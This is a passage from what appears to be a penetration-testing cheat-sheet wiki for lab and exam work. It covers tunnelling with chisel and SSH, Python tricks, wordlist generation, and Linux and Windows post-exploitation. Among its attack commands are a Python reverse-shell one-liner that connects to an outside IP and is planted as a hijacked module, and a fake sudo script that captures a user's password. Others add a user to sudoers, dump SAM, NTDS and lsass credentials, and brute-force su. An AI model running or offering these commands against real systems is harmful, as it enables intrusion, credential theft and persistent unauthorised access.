portfwd add -l 9090 -p 9090 -r TARGETIP&lt;br /&gt;
# Reverse ssh tunnel, port forwarding 8090 from target to us:&lt;br /&gt;
ssh -R 8090:localhost:8090 user@ip&lt;br /&gt;
# Local port forward, forward local 8090 to target:&lt;br /&gt;
ssh -L 8090:localhost:8090 user@ip&lt;br /&gt;
# Chisel&lt;br /&gt;
# Example: forward port 8888 to attacker using chisel&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 8000 --reverse&lt;br /&gt;
# Target&lt;br /&gt;
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888&lt;br /&gt;
# Connection received on attacker machine&lt;br /&gt;
server: proxy#1:R:0.0.0.0:8888=&amp;gt;localhost:8888: Listening&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Synopsis&lt;br /&gt;
ssh -i id_rsa -L [bind_address]port:host:hostport] username@host&lt;br /&gt;
# Example&lt;br /&gt;
ssh -i id_rsa -L 8000:127.0.0.1:8000 donkeykong@10.10.10.100&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chisel ===&lt;br /&gt;
&lt;br /&gt;
Example: forward port 8888 to attacker using chisel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 8000 --reverse&lt;br /&gt;
# Target&lt;br /&gt;
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888&lt;br /&gt;
# Connection received on attacker machine&lt;br /&gt;
server: proxy#1:R:0.0.0.0:8888=&amp;gt;localhost:8888: Listening&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Python ==&lt;br /&gt;
&lt;br /&gt;
=== Decompile ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/rocky/python-decompile3&lt;br /&gt;
# Translate python bytecode to python source code.&lt;br /&gt;
$ python pyinstxtractor.py&lt;br /&gt;
# Decompile .pyc&lt;br /&gt;
# https://github.com/zrax/pycdc&lt;br /&gt;
git clone https://github.com/zrax/pycdc&lt;br /&gt;
cd pycdc&lt;br /&gt;
cmake .&lt;br /&gt;
make&lt;br /&gt;
make check&lt;br /&gt;
python pycdc C:\Users\Bobby\example.pyc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Load module ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If a python script tries to load a module which does not exist, we can place our own module.  #  https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes&lt;br /&gt;
# Add a python reverse shell into the file&lt;br /&gt;
echo &#039;import os,pty,socket;s=socket.socket();s.connect((&amp;quot;192.168.49.165&amp;quot;,22));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(&amp;quot;sh&amp;quot;)&#039; &amp;gt; module.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PDB (Python Debugger ===&lt;br /&gt;
&lt;br /&gt;
[https://docs.python.org/3/library/pdb.html https://docs.python.org/3/library/pdb.html]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# Add import pdb&lt;br /&gt;
import pdb&lt;br /&gt;
# In script, before an error message, add&lt;br /&gt;
pdb.set_trace()&lt;br /&gt;
# Example&lt;br /&gt;
-&amp;gt; url = url.group(1)&lt;br /&gt;
(Pdb) print url.group(1)&lt;br /&gt;
http://swagshop.htb/index.php/admin/das[...]&lt;br /&gt;
(Pdb) continue&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Python Extractor ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/extremecoders-re/pyinstxtractor&lt;br /&gt;
# Extract Pyinstaller. Content of pyz and pyc is extracted aswell&lt;br /&gt;
Python3 pyinstxtractor.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Simple HTTP Server ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$python -m SimpleHTTPServer&lt;br /&gt;
$python -m http.server&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Symbolic Link (Windows) ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/googleprojectzero/symboliclink-testing-tools/blob/main/CreateSymlink/CreateSymlink_readme.txt&lt;br /&gt;
# See Symbolic box for example of how to exploit this. In the example below a backup script was copying request.log and saving it in a log. Creating a symbolic link as shown below, the content of id_rsa will be copied by the script and saved, making it possible for me to read it.&lt;br /&gt;
.\CreateSymlink.exe C:\xampp\htdocs\logs\request.log C:\Users\Administrator\.ssh\id_rsa&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Wordlists ==&lt;br /&gt;
&lt;br /&gt;
=== Cewl - Generate wordlist ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Will create a wordlist from words in the URL, and add numbers.&lt;br /&gt;
cewl  --with-numbers &amp;gt; wordlist&lt;br /&gt;
# Scan to a depth of 2 (-d 2) and use a minimum word length of 5 (-m 5), save the words to a file (-w docswords.txt), targeting the given URL (https://example.com)&lt;br /&gt;
cewl -d 2 -m 5 -w docswords.txt https://example.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cupp ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Mebus/cupp https://github.com/Mebus/cupp]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 cupp.py -i # Interactive mode where you fill out information about the person&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Datelist - Generate date wordlist ===&lt;br /&gt;
&lt;br /&gt;
[https://raw.githubusercontent.com/screetsec/BruteSploit/master/tools/datelist Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate date list with yyyy-mm-dd format&lt;br /&gt;
./datelist.sh -b 2020-01-01 -e 2020-12-31 -f yyyymmdd -o wordlist -s -&lt;br /&gt;
-b = beginning date&lt;br /&gt;
-e = end date&lt;br /&gt;
-f = format&lt;br /&gt;
-o = output&lt;br /&gt;
-s = spacing&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Seclists ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/danielmiessler/SecLists/ https://github.com/danielmiessler/SecLists/]&lt;br /&gt;
&lt;br /&gt;
=== Python script ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import itertools&lt;br /&gt;
words = [&amp;quot;firmanavn&amp;quot;, &amp;quot;sommer&amp;quot;, &amp;quot;prod&amp;quot;,&lt;br /&gt;
&amp;quot;dev&amp;quot;, &amp;quot;database&amp;quot;, &amp;quot;app&amp;quot;, &amp;quot;server&amp;quot;,&lt;br /&gt;
&amp;quot;test&amp;quot;, &amp;quot;oracle&amp;quot;, &amp;quot;doc&amp;quot;, &amp;quot;admin&amp;quot;, &amp;quot;db&amp;quot;,&lt;br /&gt;
&amp;quot;password&amp;quot;, &amp;quot;administrator&amp;quot;, &amp;quot;tech&amp;quot;]&lt;br /&gt;
combo = itertools.combinations(words, 2)&lt;br /&gt;
combo = list(combo)&lt;br /&gt;
&lt;br /&gt;
with open(&amp;quot;/home/kali/wordlist.txt&amp;quot;, &amp;quot;w+&amp;quot;) as wordlist:&lt;br /&gt;
    for i in combo:&lt;br /&gt;
        wordlist.write(i[0] + &amp;quot;.&amp;quot; + i[1])&lt;br /&gt;
        wordlist.write(&amp;quot;\n&amp;quot;)&lt;br /&gt;
        wordlist.write(i[0].capitalize() + &amp;quot;.&amp;quot; + i[1].capitalize())&lt;br /&gt;
        wordlist.write(&amp;quot;\n&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    for i in range(0,2023):&lt;br /&gt;
        for v in words:&lt;br /&gt;
            word = v + str(i) + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
            word = v.capitalize() + str(i) + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
            word = v + str(i) + &amp;quot;!&amp;quot; + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
            word = v.capitalize() + str(i) + &amp;quot;!&amp;quot; + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Useful Linux Commands ==&lt;br /&gt;
&lt;br /&gt;
=== Add SUID (setuid) bit to file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
chmod 4755 /tmp/sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Add user to sudoers file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Add User to sudoers file&lt;br /&gt;
echo username ALL=(ALL) ALL &amp;gt;&amp;gt; sudoers&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BruteForce using su when having a shell - Password Spray ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/carlospolop/su-bruteforce&lt;br /&gt;
./su.sh  -u ray -w xato-net-10-million-passwords-10000.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cat, cut delimeter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Cat a file and cut delimiter space in field 3&lt;br /&gt;
cat $log | cut -d&#039; &#039; -f3-&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Copy output to clipboard ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cat file | xclip -selection clipboard&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enable cursor in Terminal Kali ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
tput cnorm&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Output tty to shell or redirect to file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From eavsdropper room in THM&lt;br /&gt;
# If a user types in his password and you have a shell you can redirect output to your shell.&lt;br /&gt;
cat sudo&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
read password&lt;br /&gt;
echo $password &amp;gt; /dev/pty/0 # Choose the correct pty.&lt;br /&gt;
# Now export PATH så when the user runs the command it will execute your sudo script instead of real sudo.&lt;br /&gt;
# Run&lt;br /&gt;
export $PATH=/tmp:$PATH&lt;br /&gt;
# Now wait for the user to type his password and it will pop up in your shell.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kill/close open port on linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
fuser -k PORT/tcp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reset kali to default settings ===&lt;br /&gt;
&lt;br /&gt;
BE CAREFUL AS THIS MIGHT BREAK SOME PACKAGES. Always take snapshot before running the commands below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you&#039;re having problems with kali acting up, you can reset kali to default.&lt;br /&gt;
# To reset Kali Linux to the default package and kernel, you will need to run the following commands:&lt;br /&gt;
sudo apt-get update &amp;amp;&amp;amp; sudo apt-get upgrade&lt;br /&gt;
sudo apt-get dist-upgrade&lt;br /&gt;
sudo apt-get autoremove&lt;br /&gt;
sudo apt-get autoclean&lt;br /&gt;
sudo update-grub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Restricted shell (rbash) - Linux Restricted Shell Bypass ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://vk9-sec.com/linux-restricted-shell-bypass/&lt;br /&gt;
# List of escape methods&lt;br /&gt;
https://www.hacknos.com/rbash-escape-rbash-restricted-shell-escape/&lt;br /&gt;
# If in rshell (Restricted shell), use this command to list all available commands&lt;br /&gt;
compgen -c&lt;br /&gt;
# Rbash escape ssh&lt;br /&gt;
ssh alfred@10.11.1.101 -t &#039;bash&#039; --noprofile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-11-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Read .db files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# For DB files, like users.db. Read content with sqlitebrowser&lt;br /&gt;
sqlitebrowser users.db&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Read Windows registry files on Linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Start hivexsh, and load a hive.&lt;br /&gt;
# https://linux.die.net/man/1/hivexsh&lt;br /&gt;
hivexsh&lt;br /&gt;
&amp;gt; load SECURITY&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ss instead of netstat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ss -tlpn&lt;br /&gt;
-t display tcp socket&lt;br /&gt;
-l display listening socket&lt;br /&gt;
-p show process using packets&lt;br /&gt;
-n dont resolve service name&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fix Desktop Environment if its broken ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.kali.org/docs/general-use/xfce-faq/&lt;br /&gt;
If you are having issues, it may be that a config file is not set properly. First, backup .cache, .config, and .local. Next, running rm -r .cache .config .local and then rebooting will likely fix those issues.&lt;br /&gt;
REMEMBER TO DELETE IT FROM THE HOME USER and not root.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fix Kali Login loop ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On the login screen type&lt;br /&gt;
CTRL + ALT + F1&lt;br /&gt;
# then type this command from the home/kali dir.&lt;br /&gt;
sudo mv ~/.Xauthority ~/.Xauthority.backup sudo chmod 700 ~ sudo chown -R kali:kali ~ sudo service lightdm restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Useful Windows Commands ==&lt;br /&gt;
&lt;br /&gt;
=== Stealing SAM and SYSTEM ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/stealing-credentials https://book.hacktricks.xyz/windows-hardening/stealing-credentials]&lt;br /&gt;
&lt;br /&gt;
This files should be &#039;&#039;&#039;located&#039;&#039;&#039; in &#039;&#039;C:\windows\system32\config\SAM&#039;&#039; and &#039;&#039;C:\windows\system32\config\SYSTEM.&#039;&#039; But &#039;&#039;&#039;you cannot just copy them in a regular way&#039;&#039;&#039; because they protected.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\windows\system32\config\SAM&lt;br /&gt;
C:\windows\system32\config\SYSTEM&lt;br /&gt;
C:\windows\system32\config\regback\system.old&lt;br /&gt;
C:\windows\system32\config\regback\system&lt;br /&gt;
C:\windows\system32\config\regback\sam.old&lt;br /&gt;
C:\windows\system32\config\regback\sam&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== From Registry ====&lt;br /&gt;
&lt;br /&gt;
The easiest way to steal those files is to get a copy from the registry:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg save HKLM\sam sam&lt;br /&gt;
reg save HKLM\system system&lt;br /&gt;
reg save HKLM\security security&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Download&#039;&#039;&#039; those files to your Kali machine and &#039;&#039;&#039;extract the hashes&#039;&#039;&#039; using:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
samdump2 SYSTEM SAM&lt;br /&gt;
impacket-secretsdump -sam sam -security security -system system LOCAL&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Check if shell is 64-bit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Environment]::Is64BitOperatingSystem&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Decompile .NET exe file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use dotpeek or dnSPY&lt;br /&gt;
https://www.jetbrains.com/decompiler/&lt;br /&gt;
https://github.com/dnSpy/dnSpy&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump hashes from NTDS.dit using secretdump.py ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Location C:\Windows\ or C:\Windows\System32\&lt;br /&gt;
/usr/bin/impacket-secretsdump LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dumping Domain password hasehs ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://0xdf.gitlab.io/2020/10/03/htb-blackfield.html#diskshadow&lt;br /&gt;
https://pentestlab.blog/tag/diskshadow/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump creds frol lsass.dmp ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/skelsec/pypykatz&lt;br /&gt;
# See writeup for HTB Blackfield&lt;br /&gt;
pypykatz lsa minidump lsass.DMP&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Find writeable directories ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find writable directories&lt;br /&gt;
dir /a-r-d /s /b&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Find .NET version using regkey ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg query &amp;quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Executing MSI on Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msiexec /quiet /i cmd.msi&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump Windows Sam File ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg save hklm\sam c:\sam&lt;br /&gt;
reg save hklm\system c:\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Run a dll using rundll32.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
rundll32 C:\Tools\TestDll.dll,run&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Registry dump passwords ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg query HKLM /f password /t REG_SZ /s&lt;br /&gt;
reg query HKCU /f password /t REG_SZ /s&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Registry dump autologon passwords ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg.exe query &amp;quot;HKLM\software\microsoft\windows nt\currentversion\winlogon&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== See WiFi password in cleartext ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
netsh wlan show profile&lt;br /&gt;
netsh wlan show profile Profile01 key=clear&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enviroment variable Location ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| %ALLUSERSPROFILE%&lt;br /&gt;
|  C:\Documents and Settings\All Users&lt;br /&gt;
|-&lt;br /&gt;
| %APPDATA%&lt;br /&gt;
| C:\Documents and Settings\Username\Application Data&lt;br /&gt;
|-&lt;br /&gt;
| %COMMONPROGRAMFILES%&lt;br /&gt;
|  C:\Program Files\Common Files&lt;br /&gt;
|-&lt;br /&gt;
| %COMMONPROGRAMFILES(x86)%&lt;br /&gt;
| C:\Program Files (x86)\Common Files&lt;br /&gt;
|-&lt;br /&gt;
| %COMSPEC%&lt;br /&gt;
| C:\Windows\System32\cmd.exe&lt;br /&gt;
|-&lt;br /&gt;
| %HOMEDRIVE%&lt;br /&gt;
|  C:\&lt;br /&gt;
|-&lt;br /&gt;
| %HOMEPATH%&lt;br /&gt;
| C:\Documents and Settings\Username&lt;br /&gt;
|-&lt;br /&gt;
| %PROGRAMFILES%&lt;br /&gt;
| C:\Program Files&lt;br /&gt;
|-&lt;br /&gt;
| %PROGRAMFILES(X86)%&lt;br /&gt;
| C:\Program Files (x86) (only in 64-bit version)&lt;br /&gt;
|-&lt;br /&gt;
| %SystemDrive%&lt;br /&gt;
|  C:\&lt;br /&gt;
|-&lt;br /&gt;
| %SystemRoot%&lt;br /&gt;
| C:\Windows&lt;br /&gt;
|-&lt;br /&gt;
| %TEMP% and %TMP%&lt;br /&gt;
| C:\Documents and Settings\Username\Local Settings\Temp&lt;br /&gt;
|-&lt;br /&gt;
| %USERPROFILE%&lt;br /&gt;
| C:\Documents and Settings\Username&lt;br /&gt;
|-&lt;br /&gt;
| %WINDIR%&lt;br /&gt;
| C:\Windows&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== List all PowerShell Accelators ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[psobject].assembly.gettype(&amp;quot;System.Management.Automation.TypeAccelerators&amp;quot;)::Get&lt;br /&gt;
Key                          Value&lt;br /&gt;
---                          -----&lt;br /&gt;
Alias                        System.Management.Automation.AliasAttribute&lt;br /&gt;
AllowEmptyCollection         System.Management.Automation.AllowEmptyCollectionAttribute&lt;br /&gt;
AllowEmptyString             System.Management.Automation.AllowEmptyStringAttribute&lt;br /&gt;
AllowNull                    System.Management.Automation.AllowNullAttribute&lt;br /&gt;
ArgumentCompleter            System.Management.Automation.ArgumentCompleterAttribute&lt;br /&gt;
array                        System.Array&lt;br /&gt;
bool                         System.Boolean&lt;br /&gt;
byte                         System.Byte&lt;br /&gt;
char                         System.Char&lt;br /&gt;
....&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PROOFS ==&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo &amp;quot; &amp;quot;;echo &amp;quot;uname -a:&amp;quot;;uname -a;echo &amp;quot; &amp;quot;;echo &amp;quot;hostname:&amp;quot;;hostname;echo &amp;quot; &amp;quot;;echo &amp;quot;id&amp;quot;;id;echo &amp;quot; &amp;quot;;echo &amp;quot;ifconfig:&amp;quot;;/sbin/ifconfig -a;echo &amp;quot; &amp;quot;;echo &amp;quot;proof:&amp;quot;;cat /root/proof.txt 2&amp;gt;/dev/null; cat /Desktop/proof.txt 2&amp;gt;/dev/null;echo &amp;quot; &amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo. &amp;amp; echo. &amp;amp; echo whoami: &amp;amp; whoami 2&amp;gt; nul &amp;amp; echo %username% 2&amp;gt; nul &amp;amp; echo. &amp;amp; echo Hostname: &amp;amp; hostname &amp;amp; echo. &amp;amp; ipconfig /all &amp;amp; echo. &amp;amp; echo proof.txt: &amp;amp;  type &amp;quot;C:\Documents and Settings\Administrator\Desktop\proof.txt&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HELP! I&#039;m stuck - What to do when stuck ==&lt;br /&gt;
&lt;br /&gt;
The list below is taken from [https://www.blakejarvis.com/oscp/oscp-things-to-try-when-stuck blakejarvis&#039; notes.]&lt;br /&gt;
&lt;br /&gt;
=== Initial access ===&lt;br /&gt;
&lt;br /&gt;
==== Web discovery ====&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;lt;code&amp;gt;http://site/[hostname]&amp;lt;/code&amp;gt; if you can&#039;t find a directory or software you think should exist.&lt;br /&gt;
&lt;br /&gt;
* Try both GET and POST methods for all URLs given that may be blocking data via a particular HTTP method.&lt;br /&gt;
&lt;br /&gt;
* Fuzz parameters with ffuf.&lt;br /&gt;
&lt;br /&gt;
* Examine response headers for minor custom errors.&lt;br /&gt;
&lt;br /&gt;
